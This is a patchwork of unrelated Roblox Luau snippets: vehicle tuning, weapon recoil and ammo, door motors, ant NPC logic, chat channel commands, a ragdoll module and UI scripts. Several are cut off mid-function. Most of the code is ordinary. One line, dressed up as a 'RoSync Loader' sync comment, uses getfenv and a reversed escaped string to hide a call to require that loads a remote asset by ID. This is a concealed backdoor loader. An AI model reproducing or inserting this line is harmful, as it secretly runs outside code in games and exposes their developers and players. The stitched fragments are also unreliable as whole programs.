objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
objs[9] = false
elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
--objs[10].Recarregar:FireServer(objs[6].Value)
objs[7].Value = objs[8].Ammo + 1
elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
end
wait(0.55)
end; |
--//doors |
local dl = Instance.new("Motor", script.Parent.Parent.Misc.FL.Door.SS)
dl.MaxVelocity = 0.03
dl.Part0 = script.Parent.FL
dl.Part1 = dl.Parent
local dr = Instance.new("Motor", script.Parent.Parent.Misc.FR.Door.SS)
dr.MaxVelocity = 0.03
dr.Part0 = script.Parent.FR
dr.Part1 = dr.Parent
local wl = Instance.new("Motor", script.Parent.Parent.Misc.FL.Window.SS) --windows
local wr = Instance.new("Motor", script.Parent.Parent.Misc.FR.Window.SS)
wl.MaxVelocity = 0.007
wl.Part0 = script.Parent.Parent.Misc.FL.Door.WD
wl.Part1 = wl.Parent
wr.MaxVelocity = 0.007
wr.Part0 = script.Parent.Parent.Misc.FR.Door.WD
wr.Part1 = wr.Parent
|
--LIGHTING FUNCTIONS |
script.Parent.OnServerEvent:connect(function(pl,n) if lt~=1 then pr = true else pr=false end lt=n
if lt == 0 then
RefMt.DesiredAngle = RefMt.CurrentAngle%math.rad(360)
RefMt.CurrentAngle = RefMt.CurrentAngle%math.rad(360)
UpdateLt(1,white)
UpdatePt(false,white)
StopMt(pr)
repeat wait() until lt~=0
elseif lt == 1 then
wait(.25)
RefMt.DesiredAngle = RefMt.CurrentAngle%math.rad(360)
RefMt.CurrentAngle = RefMt.CurrentAngle%math.rad(360)
UpdateLt(.25,blue)
UpdatePt(true,blue)
UpdateMt(0,math.rad(225),4)
wait(.75)
repeat
UpdateMt(0,math.rad(135),0)
wait(.5)
if lt~=1 then break end
UpdateMt(0,math.rad(225),0)
wait(.5)
until lt~=1
elseif lt == 2 then
UpdateLt(.25,amber)
UpdatePt(true,amber)
UpdateMt(0,9e9,1)
repeat
if math.deg(RefMt.CurrentAngle%math.rad(360)) >= 90 then UpdateLt(.25,red) end
if math.deg(RefMt.CurrentAngle%math.rad(360)) >= 90 then UpdatePt(true,red) end
if math.deg(RefMt.CurrentAngle%math.rad(360)) >= 270 then UpdateLt(.25,amber) end
if math.deg(RefMt.CurrentAngle%math.rad(360)) >= 270 then UpdatePt(true,amber) end
wait()
until lt~=2
elseif lt == 3 then
wait(1/6)
UpdateLt(.25,blue)
UpdatePt(true,blue)
UpdateMt(0,9e9,1)
repeat wait() until lt~=3
end
end)
|
--DevVince was here.:o (4/23/2019)
--Fixed some stuff and made ants go after diffrent targets. |
local hill = script.Parent
local itemData = require(game.ReplicatedStorage.Modules.ItemData)
local activeAnts = {}
function GetDictionaryLength(tab)
local total = 0
for _,v in next, tab do
total = total + 1
end
return total
end
addAnt = coroutine.wrap(function()
while task.wait(5) do
if GetDictionaryLength(activeAnts) < 3 then
local newAnt = game.ServerStorage.Creatures['Scavenger Ant']:Clone()
newAnt:SetPrimaryPartCFrame(hill.PrimaryPart.CFrame*CFrame.new(0,5,0))
newAnt.Parent = hill
activeAnts[newAnt] = {
["carrying"] = nil,
["target"] = nil,
["destination"] = newAnt.PrimaryPart.Position,
["lastOrder"] = tick(),
["lastScan"] = tick(),
["anims"] = {},
}
for _,anim in next,game.ReplicatedStorage.NPCAnimations.Ant:GetChildren() do
activeAnts[newAnt].anims[anim.Name] = newAnt:WaitForChild("Hum"):LoadAnimation(anim)
end
newAnt:WaitForChild'Health'.Changed:connect(function()
newAnt.PrimaryPart.Hurt.Pitch = newAnt.PrimaryPart.Hurt.OriginalPitch.Value+(math.random(-100,100)/100)
newAnt.PrimaryPart.Hurt:Play()
end)
newAnt.AncestryChanged:connect(function()
activeAnts[newAnt] = nil
end)
end
task.wait(55)
end
end)
addAnt()
function Seeking(array, target)--Queen ant keeps track of her workers. ;)
for i,v in pairs(array) do
if v == target then
return true
end
end
return false
end
manageAnts = coroutine.wrap(function()
while task.wait(1) do
local seeking = {}
for ant, antData in next,activeAnts do
spawn(function()
if ant and ant.PrimaryPart and ant:FindFirstChild'Hum' and ant.Hum.Health > 0 and ant:IsDescendantOf(workspace) then
activeAnts[ant].lastScan = tick()
-- scan for nearest Shelly
if not activeAnts[ant].carrying then
local nearestShelly,closestDist = nil,math.huge
for _,creature in next, workspace.Critters:GetChildren() do
if not Seeking(seeking, creature) and creature:FindFirstChild'HitShell' and itemData[creature.Name].abductable then
local a, c = ant.PrimaryPart, creature.PrimaryPart
if not c then
c = creature:FindFirstChildOfClass'BasePart'
end
local dist = (c.Position-a.Position).magnitude
if dist < closestDist then
nearestShelly = creature
closestDist = dist
end
end
end
if ant and nearestShelly then
activeAnts[ant].destination = nearestShelly.PrimaryPart.Position
activeAnts[ant].target = nearestShelly
table.insert(seeking, nearestShelly)
activeAnts[ant].target.AncestryChanged:connect(function()
activeAnts[ant].target = nil
end)
end
else
activeAnts[ant].destination = hill.PrimaryPart.Position+Vector3.new(0,3,0)
end
if activeAnts[ant].destination then
ant.Hum:MoveTo(activeAnts[ant].destination)
if not activeAnts[ant].anims.AntWalk.IsPlaying then
activeAnts[ant].anims.AntWalk:Play()
end
if antData.target and not antData.carrying then
local dist = (ant.PrimaryPart.Position-activeAnts[ant].target.PrimaryPart.Position).magnitude
if dist < 5 then
-- let's get a new shelly
local abductedShelly = game.ServerStorage.Misc["Abducted Shelly"]:Clone()
antData.carrying = abductedShelly
abductedShelly.Shell.Material = antData.target.Shell.Material
abductedShelly.Shell.Color = antData.target.Shell.Color
abductedShelly.ActualName.Value = antData.target.Name
--game.ReplicatedStorage.Events.NPCAttack:Fire(antData.target,math.huge)
antData.target:Destroy()
abductedShelly.Parent = ant
activeAnts[ant].anims.AntWalk:Stop()
activeAnts[ant].anims.AntHold:Play()
ant.PrimaryPart.Chatter:Play()
ant.PrimaryPart.ShellyAbduct:Play()
-- weld the shelly to the torso
local weld = Instance.new("ManualWeld")
weld.Parent = ant.PrimaryPart
weld.Part0 = ant.PrimaryPart
weld.Part1 = abductedShelly.PrimaryPart
weld.C0 = CFrame.new(-.4,.4,-1.6)*CFrame.Angles(0,math.rad(90),0)
end
elseif antData.carrying then
local dist = (ant.PrimaryPart.Position-activeAnts[ant].destination).magnitude
if dist < 7 then
ant.Hum:MoveTo(ant.PrimaryPart.Position)
ant.PrimaryPart.Chatter:Play()
activeAnts[ant].anims.AntHold:Stop()
activeAnts[ant].anims.AntWalk:Stop()
activeAnts[ant].carrying:Destroy()
activeAnts[ant].carrying = nil
activeAnts[ant].destination = nil
activeAnts[ant].target = nil
end
end
end
end
end)--Help prevent breaking and faster responding times for ants.
end--Shouldn't error now though.
end
end)
manageAnts()
|
--[[ Last synced 11/11/2020 02:19 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- << CONFIGURATION >> |
local rank = "Mod"
local rankType = "Temp" -- "Temp", "Server" or "Perm". For more info, visit: https://devforum.roblox.com/t/HD/266932
local successColor = Color3.fromRGB(0,255,0)
local errorColor = Color3.fromRGB(255,0,0)
|
-- Ammo tracking setup |
local currentAmmo
local ammoLeft
local clipSize = configs.clipSize
currentAmmo = clipSize
ammoLeft = configs.extraAmmo
|
------------------------- |
function onClicked()
R.BrickColor = BrickColor.new("Really red")
C.One.BrickColor = BrickColor.new("Really black")
C.Two.BrickColor = BrickColor.new("Really black")
C.Three.BrickColor = BrickColor.new("Really black")
C.Four.BrickColor = BrickColor.new("Really black")
C.MIC.BrickColor = BrickColor.new("Really black")
C.A.BrickColor = BrickColor.new("Really black")
C.B.BrickColor = BrickColor.new("Really black")
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- Set local variables |
local player = players:GetPlayerFromCharacter(script.Parent)
local character = player.Character or player.CharacterAdded:wait()
local humanoid = character.Humanoid
local isrunning = script.Parent:WaitForChild("IsRunning")
local oldWalkSpeed
|
--[=[
Makes a brio that is limited by the lifetime of its parent (but could be shorter)
and has the new values given.
@param brio Brio<U>
@param ... T
@return Brio<T>
]=] |
function BrioUtils.extend(brio, ...)
if brio:IsDead() then
return Brio.DEAD
end
local values = brio._values
local current = {}
for i=1, values.n do
current[i] = values[i]
end
local otherValues = table.pack(...)
for i=1, otherValues.n do
current[values.n+i] = otherValues[i]
end
local maid = Maid.new()
local newBrio = Brio.new(unpack(current, 1, values.n + otherValues.n))
maid:GiveTask(brio:GetDiedSignal():Connect(function()
newBrio:Kill()
end))
maid:GiveTask(newBrio:GetDiedSignal():Connect(function()
maid:DoCleaning()
end))
return newBrio
end
|
-- functions |
function onRunning(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
pose = "Jumping"
end
function onClimbing()
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function moveJump()
RightShoulder.MaxVelocity = 0.1
LeftShoulder.MaxVelocity = 0.1
RightShoulder:SetDesiredAngle(0)
LeftShoulder:SetDesiredAngle(0)
RightHip:SetDesiredAngle(0)
LeftHip:SetDesiredAngle(0)
end
|
--[[Transmission]] |
Tune.ClutchType = "Clutch" --[[
[Types]
"Clutch" : Standard clutch, recommended
"TorqueConverter" : Torque converter, keeps RPM up
"CVT" : CVT, found in scooters
]]
Tune.ClutchMode = "Speed" --[[
[Modes]
"Speed" : Speed controls clutch engagement
"RPM" : Speed and RPM control clutch engagement ]]
|
--[[ReplicatedStorage.Remotes.GetPlayerArea.OnServerInvoke:Connect(function(player)
return ReplicatedStorage.Remotes.GetPlayerArea:InvokeClient(player)
end)]] |
return function(player)
return ReplicatedStorage.Remotes.GetPlayerArea:InvokeClient(player)
end
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 1000 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 800 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 8000 -- Use sliders to manipulate values
Tune.Redline = 9000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6100
Tune.PeakSharpness = 3.8
Tune.CurveMult = 0.07
--Incline Compensation
Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 450 -- RPM acceleration when clutch is off
Tune.RevDecay = 150 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
--// main |
if en.Value == true then
ha:Play()
ha.Looped = true
ha:AdjustSpeed(p.Value)
end
|
---Exemplo De Uso | RagdollMD.RagDoll(workspace["Combat Test"],3) |
function ActiveRagdoll(plr,Seconds)
local character = plr
local humanoid = character.Humanoid
character.HumanoidRootPart.Massless = true
humanoid:ChangeState(Enum.HumanoidStateType.Physics)
for _, v in pairs(character:GetDescendants()) do
if v:IsA("Motor6D") then
local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment")
a0.CFrame = v.C0
a1.CFrame = v.C1
a0.Parent = v.Part0
a1.Parent = v.Part1
local b = Instance.new("BallSocketConstraint")
b.Attachment0 = a0
b.Attachment1 = a1
b.Parent = v.Part0
v.Enabled = false
end
end
delay(Seconds,function()
for _,v in pairs(character:GetDescendants()) do
if v:IsA('Motor6D') then
v.Enabled = true
end
if v.Name == 'BallSocketConstraint' then
v:Destroy()
end
if v.Name == 'Attachment' then
v:Destroy()
end
character.HumanoidRootPart.Massless = false
humanoid.PlatformStand = false
humanoid:ChangeState(Enum.HumanoidStateType.Ragdoll,false)
end
end)
end
module.RagDoll = function(plr,Seconds)
spawn(function()
ActiveRagdoll(plr,Seconds)
end)
end
return module
|
--Horn Sound Code, Metrotren |
m1=script.Parent.StartHorn
m2=script.Parent.HornSound
m3=script.Parent.EndHorn
m1:Stop() --Initial setup
m2:Stop()
m3:Stop()
m1.Volume = 0
m2.Volume = 0
m3.Volume = 0
m2.Looped = false
m2.Playing = false
script.Parent.Parent:WaitForChild("Drive").Locotrol.Event:connect(function(data)
if data["Horn"] == true then
m2.Volume = 0
m2.Looped = false
m2:Stop()
m2.Playing = false
m3.Volume = 0
m3:stop()
m1.Volume = 1
m1:Play()
--wait(m1.TimeLength) --disabled because it makes looping part stuck playing if stopped too soon.
if m1.TimePosition < m1.TimeLength then
m2.Looped = true
m2.Volume = 1
m2:Play()
else
m1.Volume = 0
m1:Stop()
end
elseif data["Horn"] == false then
m1.Volume = 0
m1:Stop()
--For 3 part option
m2.Volume = 0
m2:Stop()
m2.Looped = false
m2.Playing = false
m3.Volume = 1
m3:Play()
--[[ -- For 2 part option
if m2.IsPlaying == true then
for i=1, 0, -.1 do
m2.Volume = i*1
wait(.1)
end
end
m2.Volume = 0
m2.Looped = false
m2.Playing = false
m2:Stop()
--]]
end
end)
|
-- Map storing Player -> Blocked user Ids. |
local BlockedUserIdsMap = {}
PlayersService.PlayerAdded:connect(function(newPlayer)
for player, blockedUsers in pairs(BlockedUserIdsMap) do
local speaker = ChatService:GetSpeaker(player.Name)
if speaker then
for i = 1, #blockedUsers do
local blockedUserId = blockedUsers[i]
if blockedUserId == newPlayer.UserId then
speaker:AddMutedSpeaker(newPlayer.Name)
end
end
end
end
end)
PlayersService.PlayerRemoving:connect(function(removingPlayer)
BlockedUserIdsMap[removingPlayer] = nil
end)
EventFolder.SetBlockedUserIdsRequest.OnServerEvent:connect(function(player, blockedUserIdsList)
BlockedUserIdsMap[player] = blockedUserIdsList
local speaker = ChatService:GetSpeaker(player.Name)
if speaker then
for i = 1, #blockedUserIdsList do
local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i])
if blockedPlayer then
speaker:AddMutedSpeaker(blockedPlayer.Name)
end
end
end
end)
EventFolder.GetInitDataRequest.OnServerInvoke = (function(playerObj)
local speaker = ChatService:GetSpeaker(playerObj.Name)
if not (speaker and speaker:GetPlayer()) then
CreatePlayerSpeakerObject(playerObj)
speaker = ChatService:GetSpeaker(playerObj.Name)
end
local data = {}
data.Channels = {}
data.SpeakerExtraData = {}
for i, channelName in pairs(speaker:GetChannelList()) do
local channelObj = ChatService:GetChannel(channelName)
if (channelObj) then
local channelData =
{
channelName,
channelObj:GetWelcomeMessageForSpeaker(speaker),
channelObj:GetHistoryLogForSpeaker(speaker),
channelObj.ChannelNameColor,
}
table.insert(data.Channels, channelData)
end
end
for i, oSpeakerName in pairs(ChatService:GetSpeakerList()) do
local oSpeaker = ChatService:GetSpeaker(oSpeakerName)
data.SpeakerExtraData[oSpeakerName] = oSpeaker.ExtraData
end
return data
end)
local function DoJoinCommand(speakerName, channelName, fromChannelName)
local speaker = ChatService:GetSpeaker(speakerName)
local channel = ChatService:GetChannel(channelName)
if (speaker) then
if (channel) then
if (channel.Joinable) then
if (not speaker:IsInChannel(channel.Name)) then
speaker:JoinChannel(channel.Name)
else
speaker:SetMainChannel(channel.Name)
speaker:SendSystemMessage(
string.gsub(
ChatLocalization:Get(
"GameChat_SwitchChannel_NowInChannel",
string.format("You are now chatting in channel: '%s'", channel.Name)
),
"{RBX_NAME}",channel.Name),
channel.Name
)
end
else
speaker:SendSystemMessage(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatServiceRunner_YouCannotJoinChannel",
("You cannot join channel '" .. channelName .. "'.")
),
"{RBX_NAME}",channelName),
fromChannelName
)
end
else
speaker:SendSystemMessage(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatServiceRunner_ChannelDoesNotExist",
("Channel '" .. channelName .. "' does not exist.")
),
"{RBX_NAME}",channelName),
fromChannelName
)
end
end
end
local function DoLeaveCommand(speakerName, channelName, fromChannelName)
local speaker = ChatService:GetSpeaker(speakerName)
local channel = ChatService:GetChannel(channelName)
if (speaker) then
if (speaker:IsInChannel(channelName)) then
if (channel.Leavable) then
speaker:LeaveChannel(channel.Name)
speaker:SendSystemMessage(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatService_YouHaveLeftChannel",
string.format("You have left channel '%s'", channelName)
),
"{RBX_NAME}",channel.Name),
"System"
)
else
speaker:SendSystemMessage(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatServiceRunner_YouCannotLeaveChannel",
("You cannot leave channel '" .. channelName .. "'.")
),
"{RBX_NAME}",channelName),
fromChannelName
)
end
else
speaker:SendSystemMessage(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatServiceRunner_YouAreNotInChannel",
("You are not in channel '" .. channelName .. "'.")
),
"{RBX_NAME}",channelName),
fromChannelName
)
end
end
end
ChatService:RegisterProcessCommandsFunction("default_commands", function(fromSpeaker, message, channel)
if (string.sub(message, 1, 6):lower() == "/join ") then
DoJoinCommand(fromSpeaker, string.sub(message, 7), channel)
return true
elseif (string.sub(message, 1, 3):lower() == "/j ") then
DoJoinCommand(fromSpeaker, string.sub(message, 4), channel)
return true
elseif (string.sub(message, 1, 7):lower() == "/leave ") then
DoLeaveCommand(fromSpeaker, string.sub(message, 8), channel)
return true
elseif (string.sub(message, 1, 3):lower() == "/l ") then
DoLeaveCommand(fromSpeaker, string.sub(message, 4), channel)
return true
elseif (string.sub(message, 1, 3) == "/e " or string.sub(message, 1, 7) == "/emote ") then
-- Just don't show these in the chatlog. The animation script listens on these.
return true
end
return false
end)
if ChatSettings.GeneralChannelName and ChatSettings.GeneralChannelName ~= "" then
local allChannel = ChatService:AddChannel(ChatSettings.GeneralChannelName)
allChannel.Leavable = false
allChannel.AutoJoin = true
allChannel:RegisterGetWelcomeMessageFunction(function(speaker) |
---- Variables ---- |
local Remote = ReplicatedStorage:WaitForChild("IceRemote")
local Player = game.Players.LocalPlayer
local Character = Player.Character
|
--[=[
@within Shake
@prop Amplitude number
Amplitude of the overall shake. For instance, an amplitude of `3` would mean the
peak magnitude for the outputted shake vectors would be about `3`.
Defaults to `1`.
]=] | |
--[[Wheel Alignment]] |
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -.2
Tune.RCamber = -.2
Tune.FToe = 0
Tune.RToe = 0
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
---------------------------------------------------------------------------------------------------- |
,VRecoil = {18,25} --- Vertical Recoil
,HRecoil = {10,15} --- Horizontal Recoil
,AimRecover = .65 ---- Between 0 & 1
,RecoilPunch = .25
,VPunchBase = 3.75 --- Vertical Punch
,HPunchBase = 1.5 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = .75
,MaxRecoilPower = 3
,RecoilPowerStepAmount = .25
,MinSpread = 0.12 --- Min bullet spread value | Studs
,MaxSpread = 47 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 1
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 2 --- Max sway value based on player stamina | Studs |
-- script.Parent.Parent.Body.Dash.Screen.G.Radio.Select.Position = UDim2.new(0, 0, 0, 60) |
end
end
end
end)
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
game.Workspace.CurrentCamera.FieldOfView = 70
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and player.PlayerGui:FindFirstChild("SS3") then
player.PlayerGui:FindFirstChild("SS3"):Destroy()
script.Parent.Parent.Body.Dash.Screen.G.Enabled = false
script.Parent.Parent.Body.Dash.DashSc.G.Unit.Visible = true
script.Parent.Parent.Body.Dash.DashSc.G.Select:TweenPosition(UDim2.new(0, 0, 0, -5), "InOut", "Quint", 1, true)
script.Parent.Parent.Body.Dash.DashSc.G.Frame:TweenPosition(UDim2.new(0, 0, 0, -5), "InOut", "Quint", 1, true)
script.Parent.Parent.Body.Dash.DashSc.G.Modes.SpeedStats.Visible = false
script.Parent.Parent.Body.Dash.DashSc.G.Modes.Info.Visible = false
script.Parent.Parent.Body.Dash.DashSc.G.Modes.MPG.Visible = false
script.Parent.Parent.Body.Dash.DashSc.G.Modes.Stats.Visible = false
script.Parent.Parent.Body.Dash.DashSc.G.Unit.Text = "Goodbye"
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.1
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.2
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.3
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.4
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.5
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.6
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.7
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.8
script.Parent.Parent.Body.Dash.Spd.Interface.LightInfluence = .5
script.Parent.Parent.Body.Dash.Tac.Interface.LightInfluence = .5
script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 0.3
script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 0.3
script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 0.3
script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 0.3
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.9
script.Parent.Parent.Body.Dash.Spd.Interface.LightInfluence = 1
script.Parent.Parent.Body.Dash.Tac.Interface.LightInfluence = 1
script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 0.7
script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 0.7
script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 0.7
script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 0.7
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 1
script.Parent.Parent.Body.Dash.Spd.Interface.LightInfluence = 1.8
script.Parent.Parent.Body.Dash.Tac.Interface.LightInfluence = 1.8
script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 1
script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 1
script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 1
script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 1
wait(.4)
script.Parent.Parent.Body.Dash.DashSc.G.Unit.Visible = false
script.Parent.Parent.Body.Dash.DashSc.G.Enabled = false
script.Parent.Occupied.Value = false
script.Parent.Parent.Body.Dash.Spd.Interface.Enabled = false
script.Parent.Parent.Body.Dash.Tac.Interface.Enabled = false
end
end
end
end)
|
-- DO NOT CHANGE ANYTHING! --
-- This script puts a weld in every brick that needs one.-- | |
--print(ChosenNTID) |
NightTheme.SoundId = "rbxassetid://" .. ChosenNTID
NightTheme.Ended:Connect(function()
UpdateNightThemeID()
end)
end
NightTheme:Play()
UpdateNightThemeID()
game:GetService("RunService").RenderStepped:Connect(function()
if Rake ~= nil and Rake:FindFirstChild("HumanoidRootPart") ~= nil then
if CharacterRoot ~= nil and ChracterHumanoid ~= nil then -- Check if The rake, Player character, Player character humanoid still exist
RangeMagnitude = (Rake.HumanoidRootPart.Position - CharacterRoot.Position).magnitude
if Rake.Stunning.Value == true then
StunDebounce = true
if RangeMagnitude < 70 then
ReplayDebounce = true
end
StopSound()
elseif Rake.Stunning.Value == false or ChracterHumanoid.Health > 0 then
StunDebounce = false
if ReplayDebounce == true and RangeMagnitude < 70 then
ReplayDebounce = false
StartSound()
end
end
if RangeMagnitude < 70 and Debounce1 == false and StunDebounce == false then
Debounce1 = true
StartSound()
Found:Play()
elseif RangeMagnitude > 70 and StunDebounce == false and Debounce1 == true then
Debounce1 = false
ReplayDebounce = false
StopSound()
end
if RakeTheme.IsPlaying then
if RangeMagnitude > 70 then
Debounce1 = false
ReplayDebounce = false
StopSound()
end
if Rake.NPC.Health <= 0 then
script.Parent:Destroy()
end
if ChracterHumanoid.Health <= 0 then
StopSound()
end
if RangeMagnitude < 70 and RangeMagnitude > 35 then
RakeTheme.PlaybackSpeed = 1
end
if RangeMagnitude < 35 and RangeMagnitude > 20 then
RakeTheme.PlaybackSpeed = 1
end
if RangeMagnitude < 20 then
RakeTheme.PlaybackSpeed = 1
end
if RangeMagnitude < 20 then
RakeTheme.PlaybackSpeed = 1
end
end
end
end
end) |
-- ok so this is like a cool script that allows the garden lights to change, its just for the dumb lights and to add more thing to it yeah no wonder i am this stupid why did i add this kill me aaaaa | |
-- Connect events |
Humanoid.Died:Connect(onDied)
Humanoid.Running:Connect(onRunning)
Humanoid.Jumping:Connect(onJumping)
Humanoid.Climbing:Connect(onClimbing)
Humanoid.GettingUp:Connect(onGettingUp)
Humanoid.FreeFalling:Connect(onFreeFall)
Humanoid.FallingDown:Connect(onFallingDown)
Humanoid.Seated:Connect(onSeated)
Humanoid.PlatformStanding:Connect(onPlatformStanding)
Humanoid.Swimming:Connect(onSwimming)
|
-- ProximityPrompts |
local Workspace = game:GetService("Workspace")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Events = ReplicatedStorage:WaitForChild("Events")
local ClientTriggerGame = Events:WaitForChild("ClientTriggerGame")
local toggleRideHUD = Events:WaitForChild("ToggleRideHUD")
local starterGUI = script.Parent
local playNPC = game.Workspace.Lobby:WaitForChild("PlayNPC")
local proximityPlay = playNPC:WaitForChild("ProximityPrompt")
local playScreen = starterGUI:WaitForChild("PlayScreen")
local playGUI = playScreen:WaitForChild("PlayGUI")
local tutorialGUI = playScreen:WaitForChild("TutorialGUI")
|
--[[
Stores templates for different kinds of logging messages.
]] |
return {
cannotAssignProperty = "The class type '%s' has no assignable property '%s'.",
cannotConnectChange = "The %s class doesn't have a property called '%s'.",
cannotConnectEvent = "The %s class doesn't have an event called '%s'.",
cannotCreateClass = "Can't create a new instance of class '%s'.",
computedCallbackError = "Computed callback error: ERROR_MESSAGE",
destructorNeededValue = "To save instances into Values, provide a destructor function. This will be an error soon - see discussion #183 on GitHub.",
destructorNeededComputed = "To return instances from Computeds, provide a destructor function. This will be an error soon - see discussion #183 on GitHub.",
multiReturnComputed = "Returning multiple values from Computeds is discouraged, as behaviour will change soon - see discussion #189 on GitHub.",
destructorNeededForKeys = "To return instances from ForKeys, provide a destructor function. This will be an error soon - see discussion #183 on GitHub.",
destructorNeededForValues = "To return instances from ForValues, provide a destructor function. This will be an error soon - see discussion #183 on GitHub.",
destructorNeededForPairs = "To return instances from ForPairs, provide a destructor function. This will be an error soon - see discussion #183 on GitHub.",
duplicatePropertyKey = "",
forKeysProcessorError = "ForKeys callback error: ERROR_MESSAGE",
forKeysKeyCollision = "ForKeys should only write to output key '%s' once when processing key changes, but it wrote to it twice. Previously input key: '%s'; New input key: '%s'",
forKeysDestructorError = "ForKeys destructor error: ERROR_MESSAGE",
forPairsDestructorError = "ForPairs destructor error: ERROR_MESSAGE",
forPairsKeyCollision = "ForPairs should only write to output key '%s' once when processing key changes, but it wrote to it twice. Previous input pair: '[%s] = %s'; New input pair: '[%s] = %s'",
forPairsProcessorError = "ForPairs callback error: ERROR_MESSAGE",
forValuesProcessorError = "ForValues callback error: ERROR_MESSAGE",
forValuesDestructorError = "ForValues destructor error: ERROR_MESSAGE",
invalidChangeHandler = "The change handler for the '%s' property must be a function.",
invalidEventHandler = "The handler for the '%s' event must be a function.",
invalidPropertyType = "'%s.%s' expected a '%s' type, but got a '%s' type.",
invalidRefType = "Instance refs must be Value objects.",
invalidOutType = "[Out] properties must be given Value objects.",
invalidOutProperty = "The %s class doesn't have a property called '%s'.",
invalidSpringDamping = "The damping ratio for a spring must be >= 0. (damping was %.2f)",
invalidSpringSpeed = "The speed of a spring must be >= 0. (speed was %.2f)",
mistypedSpringDamping = "The damping ratio for a spring must be a number. (got a %s)",
mistypedSpringSpeed = "The speed of a spring must be a number. (got a %s)",
mistypedTweenInfo = "The tween info of a tween must be a TweenInfo. (got a %s)",
springTypeMismatch = "The type '%s' doesn't match the spring's type '%s'.",
strictReadError = "'%s' is not a valid member of '%s'.",
unknownMessage = "Unknown error: ERROR_MESSAGE",
unrecognisedChildType = "'%s' type children aren't accepted by `[Children]`.",
unrecognisedPropertyKey = "'%s' keys aren't accepted in property tables.",
unrecognisedPropertyStage = "'%s' isn't a valid stage for a special key to be applied at."
}
|
-- Get references to the DockShelf and its children |
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local aFinderButton = dockShelf.GClippsly
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent
|
--[[
Clone the contents of StarterGui into the player's PlayerGui, placing them on top
This is required as this game does not use characters, therefore StarterGui does not work
out of the box.
]] |
function UIController.extractStarterGui()
local playerGui = Players.LocalPlayer:WaitForChild("PlayerGui")
for _, child in pairs(StarterGui:GetChildren()) do
